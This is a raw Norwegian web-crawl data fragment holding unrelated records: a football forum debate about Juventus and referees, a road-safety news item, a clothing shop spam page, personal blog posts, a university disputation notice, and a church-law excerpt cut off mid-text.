meningsl\u00f8se kort som gis ut til spillere som ligger an til suspensjon og som m\u00f8ter Juventus runden etter.\n\n\n12.03.17 17:42\n\n**jakral**: Utmattende sendeflatefyll. Kan ikke huske sist jeg s\u00e5 en studiosending i forbindelse med en fotballkamp. Jeg foretrekker heller de fem-seks reklamepausene man presser inn f\u00f8r avspark.\n\nOg seertallene g\u00e5r jevnt nedover hos de store akt\u00f8rene, b\u00e5de n\u00e5r det gjelder fotball og amerikanske idretter. Sky har vel hatt en vanvittig nedgang i Storbritannia de siste \u00e5rene og i USA sliter mellom annet ESPN noe voldsomt.\n\nSamtidig blir da ogs\u00e5 disse kanalene skviset av en sammensatt seergruppe, men mange gidder nok ikke se p\u00e5 rett og slett fordi de kan finne bedre dybdeanalyse andre steder.\n\n   \n12.03.17 19:12\n\n**GiPazzini\\_85**: Men legg merke til dommeravgj\u00f8relser ellers i kamper\n\nDu mener Bacca sin h\u00e5rfine offside?\n\nEller refererer du til Pjanic sitt feilaktig annullerte frisparkm\u00e5l borte mot Milan i h\u00f8st p\u00e5 stillingen 0-0, som Juventus senere tapte 1-0?\n\nFolk m\u00e5 seri\u00f8st begynte \u00e5 ikke v\u00e6re s\u00e5 sinsnykt trangsynte. D\u00e5rlige avgj\u00f8relser fra dommer g\u00e5r begge veier. Roma f.eks. p\u00e5 sin side, har f\u00e5tt endel billige straffespark denne sesongen - men dette h\u00f8rer vi ikke noe pip om.\n\nOg hvis dommeren var s\u00e5 korrupt, er det litt merkelig at Dybala ikke fikk straffespark i slutten av f\u00f8rste omgang n\u00e5r Zapata felte han, p\u00e5 stillingen 1-1? Eller var det\u00a0s\u00e5 bra kalkulert fra dommer, Juventus (og Milan?) at Juventus skulle f\u00e5 denne sjansen helt p\u00e5 tampen av kampen, for \u00e5 avgj\u00f8re det i sin fav\u00f8r?\n\n12.03.17 19:26\n\n**HJuve**: Du mener Bacca sin h\u00e5rfine offside? Eller refererer du til Pjanic sitt feilaktig annullerte frisparkm\u00e5l borte mot Milan i h\u00f8st p\u00e5 stillingen 0-0, som Juventus senere tapte 1-0? Folk m\u00e5 seri\u00f8st begynte \u00e5 ikke v\u00e6re s\u00e5 sinsnykt trangsynte. D\u00e5rlige avgj\u00f8relser fra dommer g\u00e5r begge veier. Roma f.eks. p\u00e5 sin side, har f\u00e5tt endel billige straffespark denne sesongen - men dette h\u00f8rer vi ikke noe pip om. Og hvis dommeren var s\u00e5 korrupt, er det litt merkelig at Dybala ikke fikk straffespark i slutten av f\u00f8rste omgang n\u00e5r Zapata felte han, p\u00e5 stillingen 1-1? Eller var det s\u00e5 bra kalkulert fra dommer, Juventus (og Milan?) at Juventus skulle f\u00e5 denne sjansen helt p\u00e5 tampen av kampen, for \u00e5 avgj\u00f8re det i sin fav\u00f8r? Spar meg.\n\nDu ser ikke helheten her. Du henger deg opp i de mest opplagte situasjonene her og f\u00e5 det til \u00e5 fremst\u00e5 som at det er den eneste m\u00e5ten \u00e5 dra fordel av gjennom korrupte dommere. B\u00e5de dommerstanden og Juventus er for lure til \u00e5 jukse p\u00e5 det punktet. Det er tross alt bare 10 \u00e5r siden Calciopoli.\n\n   \nMarchionniInnlegg: 6764\n\n12.03.17 19:53\n\n**GiPazzini\\_85**: Du ser ikke helheten her. Du henger deg opp i de mest opplagte situasjonene her og f\u00e5 det til \u00e5 fremst\u00e5 som at det er den eneste m\u00e5ten \u00e5 dra fordel av gjennom korrupte dommere. B\u00e5de dommerstanden og Juventus er for lure til \u00e5 jukse p\u00e5 det punktet. Det er tross alt bare 10 \u00e5r siden Calciopoli.\n\nMan ser det man vil se. Du hater Juventus, noe de fleste heldigvis har f\u00e5tt med seg.\n\nAt Juventus skal rulle opp et komplekst korrupsjonssystem bare f\u00e5 \u00e5r etter at de ble ble d\u00f8mt for det og degradert til Serie B er mildt sagt en konspiratorisk p\u00e5stand. Spesielt med tanke p\u00e5 at de har helt nytt styre, ny stadion og er ligaens klart sterkeste klubb b\u00e5de sportslig og \u00f8konomisk. Man m\u00e5 v\u00e6re p\u00e5 grensen til gal for \u00e5 tro at noen \u00f8nsker \u00e5 risikere alt dette for noen skarve suspensjoner hos motstanderlagene n\u00e5r man allerede er Italias suverent beste klubb.\n\n\u00c5 spre slike p\u00e5stander p\u00e5 s\u00e5 tynt grunnlag er bare \u00f8deleggende for ligaen og sporten.\u00a0\n\n   \n12.03.17 19:57\n\n**Marchionni**: Man ser det man vil se. Du hater Juventus, noe de fleste heldigvis har f\u00e5tt med seg. At Juventus skal rulle opp et komplekst korrupsjonssystem bare f\u00e5 \u00e5r etter at de ble ble d\u00f8mt for det og degradert til Serie B er mildt sagt en konspiratorisk p\u00e5stand. Spesielt med tanke p\u00e5 at de har helt nytt styre, ny stadion og er ligaens klart sterkeste klubb b\u00e5de sportslig og \u00f8konomisk. Man m\u00e5 v\u00e6re p\u00e5 grensen til gal for \u00e5 tro at noen \u00f8nsker \u00e5 risikere alt dette for noen skarve suspensjoner hos motstanderlagene n\u00e5r man allerede er Italias suverent beste klubb. \u00c5 spre slike p\u00e5stander p\u00e5 s\u00e5 tynt grunnlag er bare \u00f8deleggende for ligaen og sporten.\n\nDu pr\u00f8ver \u00e5 fremstille det her som at Juventus bare har bedrevet juks inn mot calciopoli for 10 \u00e5r siden.\n\n   \nbeardmanInnlegg: 1908\n\n12.03.17 20:02\n\n**Marchionni**: Man m\u00e5 v\u00e6re p\u00e5 grensen til gal for \u00e5 tro at noen \u00f8nsker \u00e5 risikere alt dette for noen skarve suspensjoner hos motstanderlagene n\u00e5r man allerede er Italias suverent beste klubb.\n\nEnig i dette. Juve vinner da serien greit som regel, tviler p\u00e5 at de risikerer \u00e5 bli tatt for juks igjen, spesielt i Italia, da de ikke trenger suspensjoner hos andre lag for \u00e5 vinne.\n\n   \n12.03.17 20:12\n\nSynes det er ganske absurd \u00e5 sitte i en sofa i Norge og mene noe som helst om et lag bedriver korrupsjon rettet mot dommerne. Dette har ingen p\u00e5 dette forumet grunnlag til \u00e5 mene noe om. Eneste m\u00e5ten \u00e5 vite slikt er \u00e5 v\u00e6re p\u00e5 innsiden av de aktuelle klubbene. Det er det ingen her inne som er. Stoler s\u00e5pass p\u00e5 etteretningen rundt om at jeg velger \u00e5 stole p\u00e5 at slikt ikke eksisterer inntil det motsatte er bevist. \u00d8delegger bare fotballopplevelsen om man sitter med en konstant tanke om at det bedrives juks.\n\nTilbake til tr\u00e5dens opprinnelige tema. S\u00f8k opp \"Eurotalk\" p\u00e5 YT. Meget bra svensk ukesmagasin som diskuterer aktuelle hendelser, lag og andre ting rundt om i de 5 beste ligaene. Bedre enn det aller meste som produseres p\u00e5 norsk jord i denne kategorien\n\n(Innlegget ble redigert 12.03.17 20:14)\n\n14.03.17 21:00\n\nDet var vel ikke verre enn at Langli hadde penger p\u00e5 U og ble forbanna. Kan ikke se at det \u00f8delegger annet enn hans egen troverdighet.\n\nEllers er det en kjent sak at det st\u00f8rste klubbene alltid f\u00e5r fordeler. Uansett om de heter Juve, Bayern, Madrid eller Rosenborg.\n\nUpassende innlegg?\n\n   \n\n14.03.17 21:50\n\n**SlimWhitman**: Det begynner vel \u00e5 bli litt vel mange \"enkelthendelser\" n\u00e5 som g\u00e5r i fav\u00f8r Juventus til at det kan v\u00e6re en tilfeldighet.\n\nLangt flere\u00a0hos f.eks. Barcelona dog. Man b\u00f8r kanskje ta tak i de \u00e5penbare verstingene f\u00f8rst. Der kan vi\u00a0faktisk nevne ordet korrupsjon, fordi det har v\u00e6rt s\u00e5 j\u00e6vlig ille over lang tid.\n\n(Innlegget ble redigert 14.03.17 21:51)\n\n", "language": "no", "__index_level_0__": "341c4687-01fe-40bf-b3df-734bda87776b"}
{"url": "https://www.folkebladet.no/nyheter/2017/09/29/Har-mange-utvida-kontroller-for-tida-15376705.ece", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:18:17Z", "text": "I en utvidet kontroll den siste tida har Statens vegvesen avdekket mange syndere n\u00e5r det gjelder kj\u00f8ring med henger i nord.\n\nP\u00c5MINNELSE Helle Torill Sandvik, leder for utekontrollen i Region nord, mener flere bilf\u00f8rere trenger en p\u00e5minnelse n\u00e5r det gjelder kj\u00f8ring med henger.\u00a0 Foto: Susanne Noreng\n\nPublisert: 29 september 2017 15:12 Sist oppdatert: 29 september 2017 15:12\n\n\\- Mange av de som ble stoppet fikk p\u00e5legg for \u00e5 kj\u00f8re ulovlig med henger, eller med henger som er st\u00f8rre enn det bil og f\u00f8rerkort tillater, sier Helle Torill Sandvik, leder for utekontrollen i Region nord, i en pressemelding fra Statens vegvesen.\n\n### \u2013 Sjekk reglene\n\nTrafikant- og kj\u00f8ret\u00f8yavdelinga i vegvesenet har i en periode hatt utvidet kontrollvirksomhet for \u00e5 se hvordan tilstanden er p\u00e5 personbiler og lette kj\u00f8ret\u00f8y.\n\n\\- Denne gangen har vi hatt en utvidet teknisk kontroll p\u00e5 lette kj\u00f8ret\u00f8y, i tillegg til normal kontroll p\u00e5 tunge kj\u00f8ret\u00f8y. Kontrollen viser at flere av v\u00e5re trafikantene trenger en p\u00e5minnelse, sier Sandvik.\n\nHun forklarer at det kan v\u00e6re greit \u00e5 sjekke reglementet.\n\n\\- Er du usikker p\u00e5 hvor stor henger du kan trekke er det lett \u00e5 sjekke i appen \u00abBil og henger\u00bb. Her legger du registreringsnummeret p\u00e5 bilen ogs\u00e5 f\u00e5r du hvor tung henger du har lov til \u00e5 trekke, forteller Sandvik.\n\n### Tips\n\nMed h\u00f8stm\u00f8rket og regnet over Nord-Norge kommer vegvesenet i pressemeldingen med f\u00f8lgende gode tips til trafikantene om hva man b\u00f8r sjekke f\u00f8r man kj\u00f8rer ut i trafikken:\n\nSjekk at lysene virker f\u00f8r du legger ut p\u00e5 tur. Bilen skal ha fungerende n\u00e6r- og fjernlys. Husk ogs\u00e5 p\u00e5budet om refleksvest i bilen- om du m\u00e5 ut av kj\u00f8ret\u00f8yet ute p\u00e5 vegen.\n\nSjekk dekkene. Anbefalt m\u00f8nsterdybde for dekk er 3 millimeter for sommer og 4 millimeter for vinter. I Nordland, Troms og Finnmark kan du kj\u00f8re med piggdekk mellom 16. oktober og 1. mai.\n\n### Sjekk selv\n\nN\u00e5r skal bilen din inn p\u00e5 EU-kontroll? Det kan du sjekke p\u00e5 www.vegvesen.no/kjoretoy\n\nHusk alltid \u00e5 ha med vognkortet, b\u00e5de til bil og henger.\n\n### Dette skal folk i Midt-Troms i p\u00e5sken\n\nDe har gjort unna videreg\u00e5ende skole sammen, og skal n\u00e5 v\u00e6re sammen om en sprek skip\u00e5ske.\n\n### \u2013 Vi ble fullbooket allerede for tre uker siden\n\n", "language": "no", "__index_level_0__": "b8c60830-898a-44a1-9951-0cc5276ddcde"}
{"url": "http://www.crown-intelligence.com/a4469-abercrombie-fitch-mountain-menn-dunvest-kaffeabercrombie-and-fitch-jakker-saleabercrombie-fitch-fitch-nettbutikk-norgemoderne-p-5570.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:40:15Z", "text": "**kj\u00f8pe abercrombie & fitch i oslo A\\&F Abercrombie Menn Ned Vester , A4469 Abercrombie & Fitch Mountain Menn Dunvest Kaffe,abercrombie and fitch jakker sale,abercrombie & fitch fitch nettbutikk norge,moderne stockholm abercrombie & fitch,spesialtilbud**  \nDet er v\u00e5r spesialitet, jobber vi hardt for \u00e5 holde tritt med utviklingen, Se selv hvor mange flotte antrekk og tilbeh\u00f8r vi b\u00e6re \u00e5 utstyre deg akkurat slik du liker det.  \nHeldigvis, vil Abercrombie & Fitch Mountain Mennn Ned Vest Kaffe v\u00e6re siste mote tidevannet.  \nAbercrombie og Fitch kl\u00e6r er et objekt for begj\u00e6r for de fleste, hvis du trenger \u00e5 kj\u00f8pe Abercrombie og Fitch kl\u00e6r for deg selv, din ektefelle, din partner eller en venn, men vet ikke hvordan du skal velge et element selv, kan du g\u00e5 v\u00e5r side \u00e5 velge.  \n\n  \n\n1\\. Your order is usually shipped out within 24-48 hours after your payment is received.  \n2\\. The tracking number of your parcel will be sent to you after your order is despatched. You may use the tracking number to check the status of your order online.  \n3\\. The shipping fee will be auto-added in the grand total when you send payment.\n\n  \n", "language": "no", "__index_level_0__": "d5b95ab9-6f08-45f8-be76-c49d475ad437"}
{"url": "http://seftafoto.blogspot.com/2010/04/vann_17.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:32:59Z", "text": " \n\n## l\u00f8rdag 17. april 2010\n\n### Vann\n\n\n\nEn liten mimring en m\u00e5ned tilbake i tid. Mye har skjedd, ikke minst er sn\u00f8en borte. Dette f\u00e5r v\u00e6re mitt siste bidrag til fotokonkurransen med tema vann hos Fotoverden.\n\n   \n#### 6 kommentarer:\n\n\n\n\n\nLissenTo sa...\nEn harmonisk sk\u00f6n bild, av det vackra vattnet.  \nHa en sk\u00f6n s\u00f6ndag. Kram Lissen\n\n 18. april 2010 kl. 09:18    \n\n\n\n\n\nAnne sa...\n\nOj, jeg husker det\\!\\! bildet alts\u00e5, fra sist du postet det :-)  \n  \nDet s\u00f8rgelige denne morgenen er at det nesten er et slikt bilde jeg v\u00e5knet til i dag tidlig du. Helt hvitt, hele tr\u00f8ndelag :-(  \n  \nMen n\u00e5r sola n\u00e5 kommer, men men litt trist allikevel du.  \n  \nKjekk dag til deg, skal stemme p\u00e5 bildet ditt jeg Turi.\n\n 18. april 2010 kl. 10:00    \n\n\n\n\n\n\\-hanne sa...\n\nFin speiling i vannet, og en ro i hele bildet.  \nHA en fortsatt fin helg\\!\n\n 18. april 2010 kl. 13:47    \n\n\n\n\n\nIrene sa...\n\nNydelig vinterbilde\\! Greit \u00e5 se sn\u00f8bilder enda syns jeg ... kanskje fordi jeg n\u00e5 kan se ut av vinduet uten at det ligger hauger med sn\u00f8 utenfor :o)\n\n 19. april 2010 kl. 21:04    \n\n\n\n\n\nninabakke sa...\n\nKjempe fint vinterbilde :D  \nTakk for at du deltar p\u00e5 fotoverden, nye konkurranser n\u00e5 :D  \n  \nMvh Nina\n\n 7. mai 2010 kl. 08:05    \n\n\n\n\n\nninabakke sa...\n\nKjempe fint vinterbilde :D  \nTakk for at du deltar p\u00e5 fotoverden, nye konkurranser n\u00e5 :D  \n  \nMvh Nina\n\n 7. mai 2010 kl. 08:05    \n\n", "language": "no", "__index_level_0__": "4eb93666-6274-4d7f-8fb9-138f37d624d5"}
{"url": "http://oysteinlive.blogspot.com/2011/11/guttekveld.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:29:47Z", "text": "hvis du lurer p\u00e5 hva familien min og jeg gj\u00f8r...\n\n## fredag 11. november 2011\n\n### Guttekveld\n\n\n\nI dag var dagen endelig kommet, Batman var i Oslo. Theodor og jeg tok turen til Spektrum, sammen med fetter Karl Petter og onkel Lars.\n\nEt spektakul\u00e6rt show som Theodor oppsummerte: Dette var fett\\!\n\nN\u00e5 er han mildt sagt hekta p\u00e5 Batman og Joker...\n\n   kl. \n\n23:08  \n\n|             |  |\n| ----------- |  |\n| Reaksjoner: |  |\n\n           \n\n", "language": "no", "__index_level_0__": "19e7b7f6-7a28-4e6a-ab5a-0dec9bf4e6a3"}
{"url": "http://ertzgaard.net/afrika-en-sandkasse-for-gutter-som-vil-leke/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:44:58Z", "text": "# Afrika \u2013 en sandkasse for gutter som vil leke? \n\n25\\. juni 2009/3 Kommentarer/i Hjem /av Gubben\n\nJeg er nettopp ferdig med \u00e5 lese Long Way Down, fortellingen om *Charley Boormans* og *Ewan McGregors* tre m\u00e5neder lange reise p\u00e5 motorsykkel fra J*ohn O'Groats,* Skottlands nordligste punkt til *Cape Agulhas*, det s\u00f8rligste punktet p\u00e5 det afrikanske fastlandet. Det er en besynderlig reise, en av de store og klassiske reisene som folk har dr\u00f8mt om siden *David Livingstone* sivilserte det s\u00f8r\u00f8stlige Afrika, og *Cecil Rhodes* hadde visjoner om \u00e5 bygge en jernbanelinje \u00abFra Kapp til Kairo\u00bbsom skulle forene dette eventyriske kontinentet og gj\u00f8re det til en ut\u00f8mmelig kilde av ressurser for det britisk eimperiet. De krysser fjorten afrikanske land, fra Tunisia og Libya i nord til Namibia og S\u00f8r-Afrika i s\u00f8r.\u00a0Som litteratur \u00e5 betrakte er dette enkle saker. Det tar deg to dager \u00e5 pl\u00f8ye deg gjennom historien, som kort sagt er beskrivelse av veier, av raidernes tanker om veier, om bes\u00f8k p\u00e5 UNICEF-prosjekter og andre gode tiltak som vil bedre hverdagen for fattige afrikanere. Som sjanger er dette en merkelig blanding, men lettlest er det.\n\nJeg skal ikke falle i fellen og kritisere de for m\u00e5ten de har gjort dette p\u00e5. Vi har hver v\u00e5re m\u00e5ter \u00e5 leve v\u00e5re liv, og ingen har rett til \u00e5 si at min versjon er bedre enn din. Hvis du har tenkt \u00e5 lese denne boken, s\u00e5 v\u00e6r klar over at den sier deg noe om det \u00e5 v\u00e6re p\u00e5 motorsykkeltur med gode venner, og det sier noe om \u00e5 forf\u00f8lge sine dr\u00f8mmer. Men du blir veldig lite klokere p\u00e5 det afrikanske kontinentet, forutsatt at du vet litt om det fra f\u00f8r. Og her er kanskje bokens fremste force; for folk uten noen form for kjennskap til Afrika kan dette v\u00e6re en vekker. Sp\u00f8rsm\u00e5let er imidlertid hvilke d\u00f8rer den \u00e5pner.\u00a0Etter 15 000 kilomenter p\u00e5 alle typer veier, overnatting i luksushoteller, jordhytter og telt, gj\u00f8r Charley Boorman seg noen tanker om hva de har utrettet helt p\u00e5 slutten av boka. Han skriver (eller sier, og f\u00e5r noen andre til \u00e5 skrive det ned):\n\n> The enormity of what we'd been able to achieve began to sweep over me\u2026 I was suddenly humbled, a little bit of dirt where we stood on the pegs and stuck our elbows out. I thought of the Sudan, Ethiopia, Kenya, I thought of Zambia, Tanzania: all those gnarly, muddy, sandy, potholed roads. It occurred to me that ten years from now, five even, these roads would \u00a0be gone, buried for all time under tarmac,. The Africa Ewan and I had ridden through would be changed forever.  \n> **\n> \n> *Charley \u00a0Boorman, Long Way Down, side 327-8*\n\nJeg havnet i diskusjon med noen elever da vi var i Johannesburg. De hadde v\u00e6rt i byen i et knapt d\u00f8gn da jeg traff de, og noe av det f\u00f8rste de sa da jeg m\u00f8tte dem, var en formulering som jeg stadig m\u00f8ter:\n\n> Dette er ikke det virkelige Afrika.\n\nJohannesburg hadde en moderne flyplass, h\u00f8yhus, flerfelts motorveier, parker og gr\u00f8nne lunger. *Jozi* var ikke afrikansk, den var en vestlig storby plassert p\u00e5 feil sted p\u00e5 kartet, og dermed ikke det virkelige Afrika. Min kollega tente i b\u00e5nn da hun h\u00f8rte utsagnet. Hun har bodd i S\u00f8r-Afrika i et par perioder. Var hennes S\u00f8r-Afrika ikke det virkelige Afrika? Hva er det egentlige Afrika?\n\nDet er dette jeg lurer p\u00e5.Er det trist at veien fra Kapp til Kairo asfalteres? Hvorfor er det trist? For v\u00e5r del? Fordi sandkassen v\u00e5r forvandles om til en parkeringsplass? Det er veldig enkelt \u00e5 v\u00e6re kloke p\u00e5 andres vegne, men hvis jeg skulle spurt Charley Boorman og gutten med s\u00e5rskadene fra udetonerte miner ved grensen til Eritrea, om hva som var best, ville du nok f\u00e5tt forskjellige svar.\u00a0Jeg kan forst\u00e5 Charley Boorman. Men disse bildene forsterker et vrengebilde av virkeligheten som vi stadig faller i: Verden som v\u00e5r lekeplass, hvor t\u00f8ffe gutter er t\u00f8ffe gutter, og hvor menneskene vi m\u00f8ter framst\u00e5r som kulisser for v\u00e5r filantropi. Det m\u00e5 v\u00e6re s\u00e5nn. Men det m\u00e5 ikke bare v\u00e6re s\u00e5nn. Det skal sv\u00e6rt mye til \u00e5 flytte fokuset bort fra oss selv og over p\u00e5 de andre, ogs\u00e5 n\u00e5r det handler om de andres ve og vel. Derfor syns jeg det er greit at noens f\u00f8rste m\u00f8te med Afrika er boken til McGregor og Boorman. Men jeg syns ogs\u00e5 at det er greit at de beveger seg videre. Jeg vet ikke om jeg syns det er like greit at de fleste inntrykkene vi kommer hjem fra Afrika med n\u00e5 til dags er luksusboliger i S\u00f8r-Afrika, vidunderlige safarier i nasjonalparker og lange golfrunder p\u00e5 verdens vakreste golfbaner. Det h\u00f8rer med, men det sp\u00f8rs p\u00e5 hvem sine premisser det skjer. Hvem sine stemmer skal vi h\u00f8re p\u00e5? Klarer vi v\u00e6re gjester i Afrika p\u00e5 vertskapets premisser, eller er vi bare i stand til \u00e5 se ting hvis vi kan gjemme oss i v\u00e5re luksustelt og fem stjerners villaer i s\u00f8rafrikanske forstader?\n\nJeg har pr\u00f8vd \u00e5 finne afrikanske fotografer i det siste. Det har v\u00e6rt en selsom opplevelse og en nesten umulig oppgave. Bildene av Afrika tatt av afrikanske fotografer er nesten umulig \u00e5 google seg til. Jeg har tr\u00e5let nettet og s\u00f8kt p\u00e5 begrepene \u00abAfrikanske fotografer\u00bb,\u00bbAfrican Photographers\u00bb. Det jeg oppdager er at de aller fleste bildene er v\u00e5re bilder fra Afrika. Afrikas bilder fra Afrika forsvinner i mengden.\n\nHanne \u00d8stby har f\u00f8lgende sitat som header p\u00e5 bloggen sin:\n\n> \u00abPeople travel to faraway places to watch, in fascination, the kind of people they ignore at home.\u00bb\n\nJeg har et postulat: Vi er ikke s\u00e5 interessert som vi tror vi er. Selv p\u00e5 v\u00e5re lange reiser er vi egentlig mest interessert i v\u00e5r egen versjon av virkeligheten, og de andre f\u00e5r kanskje lov til \u00e5 spille rollen som statister. Vi er mer interessert i v\u00e5re bilde av de andre enn vi er av de andre i seg selv. Eller kanskje det er enda enklere enn det: Egentlig er vi bare store barn som trenger en sandkasse \u00e5 leke i. Og som vi vet, s\u00e5 er jo Afrika en stor sandkasse.\n\n  http://ertzgaard.net/wp-content/uploads/2017/06/Logo\\_ertzgaard\\_paa\\_nett.png 0 0  Gubben  http://ertzgaard.net/wp-content/uploads/2017/06/Logo\\_ertzgaard\\_paa\\_nett.png  Gubben2009-06-25 22:53:142009-06-25 22:53:14Afrika - en sandkasse for gutter som vil leke?\n\n3 replies  \n1.  \n    \n    \n    26\\. juni 2009 at 09:14\n    \n    Det burde v\u00e6rt mulig \u00e5 stjerne innlegg p\u00e5 blogger ogs\u00e5 ute i det store bloggiverset, ikke bare inne p\u00e5 pyttelille VGB\u2026\n    \n    God morgen Geir.\n    \n    jeg nikket gjenkjennede til nesten hele innlegget. Det der om Det Virkelige Afrika/Afrika Light\u2026 Og v\u00e5r s\u00f8ken etter den 'virkeligheten' vi \u00f8nsker \u00e5 se i Afrika (men helst ikke hjemme i Norge?), det er en viktig diskusjon. Den gjelder ikke bare Afrika s\u00e5 klart, den gjelder alle m\u00f8ter p\u00e5 utsiden av v\u00e5r egen 'intimsf\u00e6re' eller kulturen vi er f\u00f8dt og oppvokst i og fortrolig med. Men p\u00e5 noe vis s\u00e5 er nesten alle de andre kontinentene 'temmet', mens Afrika gjenst\u00e5r som det der\u2026ekstremt eksotiske.\n    \n    Jeg tror du har helt rett. Vi er ikke s\u00e5 interesserte som vi later som/tror vi er. Vi er mer interessert i \u00e5 f\u00e5 v\u00e5r forutinntatte holdninger og bilder verifisert, ikke smuldret opp. Er ikke den holdningen ogs\u00e5 en viktig medvirkende faktor i hvordan vi fremdeles ser p\u00e5 f.eks. bistand til Afrika\u2026? Jeg bare tenker h\u00f8yt\u2026\n    \n    Riktig god helg\\!\n    \n    Ps, jeg tror du nettopp gav meg inspirasjonen til \u00e5 blogge igjen Geir. Jeg kjenner en historie komme snikende\u2026 Takk\\! \ud83d\ude00\n    \n2.  \n    \n    St\u00e5le says:\n    \n    9\\. juli 2009 at 18:46\n    \n    B\u00e5de interessant, tankevekkende og sant, det du her skriver, bruttern. Bare se p\u00e5 br\u00f8drene Ertzgaards mange reiser rundtomkring. Vi tar f\u00f8rst og fremst med oss nye inntrykk hjem. V\u00e5re inntrykk basert p\u00e5 v\u00e5re erfaringer og med v\u00e5r erfaringsbakgrunn. Nye knappen\u00e5ler p\u00e5 kartene i \u00abkonkurransen\u00bb om \u00e5 ha v\u00e6rt i flest land. Innimellom treffer vi andre mennesker som gir oss nye tanker. For en stund. Men ganske snart er det den vante dont som r\u00e5der igjen. Bare ultrasjelden skjer det at de nye knappen\u00e5lene gir et nytt syn p\u00e5 virkeligheten. Men det skjer det ogs\u00e5. Heldigvis. Men jeg tror ikke det gj\u00f8r verden til annet enn den sandkasse du skriver om. Men kanskje en litt mer innholdsrik og meningsfull sandkasse?\n    \n3.  \n    \n    Geir says:\n    \n    13\\. juli 2009 at 11:12\n    \n    Jeg vet ikke om jeg f\u00f8lger deg helt p\u00e5 denne, broder. Det \u00e5 reise har mange dimensjoner. En av dem er \u00e5 v\u00e6re p\u00e5 bes\u00f8k som gjest. Hovedpoenget mitt her er at i for stor grad glemmer vi gjeste- og bes\u00f8ksdimensjonen, der vi i full respekt for vertskapet oppf\u00f8rer oss skikkelig og viser interesse og forst\u00e5else for vertskapets verden. Der tror jeg b\u00e5de du og jeg har en utvidet dimensjon i forhold til mange andre. Jeg tror ogs\u00e5 at reise og bes\u00f8k f\u00f8rer til refleksjon og forst\u00e5else hvis man reiser med den rette holdningen.  \n    I tillegg kommer knappen\u00e5lene p\u00e5 kartet og sandkassen. Men vi skal huske p\u00e5 at det ikke er v\u00e5r sandkasse vi leker i.\n    \n", "language": "no", "__index_level_0__": "a11882fb-e8f0-4377-8cfb-5ad51040e572"}
{"url": "http://www.sv.uio.no/isv/forskning/aktuelt/arrangementer/disputaser/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:45:44Z", "text": "\n\nDisputas: Kjersti Skarstad\n\nTid og sted: Disputas: Kjersti Skarstad 16. mars 2018 10:15 - 16:00,  Gamle festsal, Domus Academica. Sideinngang fra g\u00e5rdsrom med inngang fra Universitetsgaten er tilrettelagt for rullestolbrukere. \n\n", "language": "no", "__index_level_0__": "a2c9bcdb-a99a-42c8-b3e1-a668ff7f13a0"}
{"url": "http://docplayer.me/1357602-Tekster-som-omhandler-et-mulig-innhold-i-den-fremtidige-lovgivningen-om-den-norske-kirke-samt-den-gjeldende-svenske-kirkelov.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:34:04Z", "text": "1 KM 11.1/15 Tekster som omhandler et mulig innhold i den fremtidige lovgivningen om Den norske kirke samt den gjeldende svenske kirkelov I NOU 2006: 2 Staten og Den norske kirke Side 92 94: Kirkelovgivning 1 Alternativer Et grunnleggende trekk ved en lovforankret folkekirke er at Stortinget vedtar en s\u00e6rskilt kirkelov for Den norske kirke som regulerer visse forhold ved kirken og dens virksomhet. Denne m\u00e5 v\u00e6re ferdig utformet f\u00f8r den nye ordningen kan iverksettes. Et viktig prinsipielt sp\u00f8rsm\u00e5l er hvor stort omfang kirkeloven skal ha. Et alternativ er \u00e5 bare gj\u00f8re de endringene i n\u00e5v\u00e6rende kirkelov som er n\u00f8dvendige som f\u00f8lge av kirkens endrede rettslige status og avviklingen av ordningen med Kongen som kirkestyre. Denne varianten 1 Kirker\u00e5det bemerker: Bakgrunnen for denne teksten er flertallets forslag om en lovforankret folkekirke, der kirkelovgivningen dessuten ble foresl\u00e5tt \u00e5 f\u00e5 en s\u00e6rskilt hjemmel eller forankring i Grunnloven, jf. den senere vedtatte 16. Omtalen i utredningen side lyder slik: Grunnlovshjemmel for en ny kirkelov Den lovgivningskompetansen som Stortinget beholder s\u00e6rskilt for Den norske kirke kan hjemles i en grunnlovsparagraf. Det vil sikre kontinuitet og gj\u00f8re kirkeloven vanskeligere \u00e5 endre. Kirkens sikkerhet vil v\u00e6re at den er etablert som eget rettssubjekt, med mulighet for \u00e5 g\u00e5 til sak mot staten dersom den mener at Stortinget gjennom lovvedtak krenker dens religionsfrihet. Stortingets lovgivningskompetanse etter Grl. 75a er generell og bare begrenset av andre regler i Grunnloven, samt av internasjonale forpliktelser. Lovgivningsmyndigheten gjelder ogs\u00e5 p\u00e5 det religi\u00f8se omr\u00e5det, innenfor de rammene som religionsfriheten setter. Dagens kirkelov er vedtatt med vanlig hjemmel i 75a, det samme gjelder trossamfunnsloven. Slik sett kan det hevdes at Stortinget allerede har n\u00f8dvendig hjemmel for \u00e5 vedta en s\u00e6rlov om Den norske kirke selv om statskirkeordningen oppheves. P\u00e5 den annen side kan det v\u00e6re \u00f8nskelig med en egen hjemmel i Grunnloven som bekrefter og markerer at Den norske kirke fortsatt skal v\u00e6re forankret i lov gitt av Stortinget. En slik bestemmelse kan ogs\u00e5 markere grensene for Stortingets kompetanse til \u00e5 lovregulere Den norske kirke, ved \u00e5 presisere at denne bare gjelder organisatoriske forhold til forskjell bl.a. fra l\u00e6resp\u00f8rsm\u00e5l og utnevning av kirkens ledere. 1\n\n\n\n2 forhindrer ikke en eventuell senere og mer omfattende kirkelovreform. Det andre alternativet er en kortfattet rammelov. 2 Formulering av lovtekst er krevende. Et videre lovforberedende arbeid m\u00e5 settes i gang etter n\u00e6rmere retningslinjer for 